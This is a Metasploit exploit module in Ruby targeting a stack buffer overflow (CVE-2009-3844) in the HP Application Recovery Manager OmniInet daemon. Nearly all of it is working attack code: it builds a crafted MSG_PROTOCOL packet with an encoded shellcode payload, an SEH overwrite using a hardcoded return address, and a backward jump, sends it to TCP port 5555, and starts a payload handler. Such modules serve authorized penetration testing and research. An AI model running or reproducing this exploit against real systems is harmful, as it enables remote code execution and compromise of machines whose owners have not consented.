## # $Id: hp_recovery_manager_omniinet.rb 8012 2009-12-28 21:12:11Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'HP Application Recovery Manager (OmniInet.exe) Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in HP Application Recovery Manager OmniInet daemon. By sending a specially crafted MSG_PROTOCOL packet, a remote attacker may be able to execute arbitrary code. }, 'Author' => 'EgiX ', 'Version' => '$Revision: 8012 $', 'References' => [ [ 'OSVDB', '60852'], [ 'CVE', '2009-3844' ], [ 'BID', '37250' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-091' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'seh', }, 'Payload' => { 'Space' => 4658, 'BadChars' => '\x00', }, 'Platform' => 'win', 'Targets' => [ [ 'Windows Universal', { 'Ret' => 0x004412ed } ], # OmniInet.exe pop ecx; pop ecx; ret ], 'DefaultTarget' => 0)) register_options([Opt::RPORT(5555)], self.class) end def exploit connect off = payload_space + 8 sep = "\x00\x00\x20\x00" buff = "\x00\x00\x12\x67" # packet length buff << "\xff\xfe\x32\x00\x36\x00\x37\x00" # MSG_PROTOCOL command buff << sep + rand_text_alpha_upper(2) buff << sep + rand_text_alpha_upper(2) buff << sep + rand_text_alpha_upper(2) buff << sep + rand_text_alpha_upper(2) buff << sep + payload.encoded + generate_seh_record(target.ret) # jump back to shellcode buff << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + off.to_s).encode_string buff << sep print_status("Sending MSG_PROTOCOL packet") sock.put(buff) sleep(5) handler disconnect end end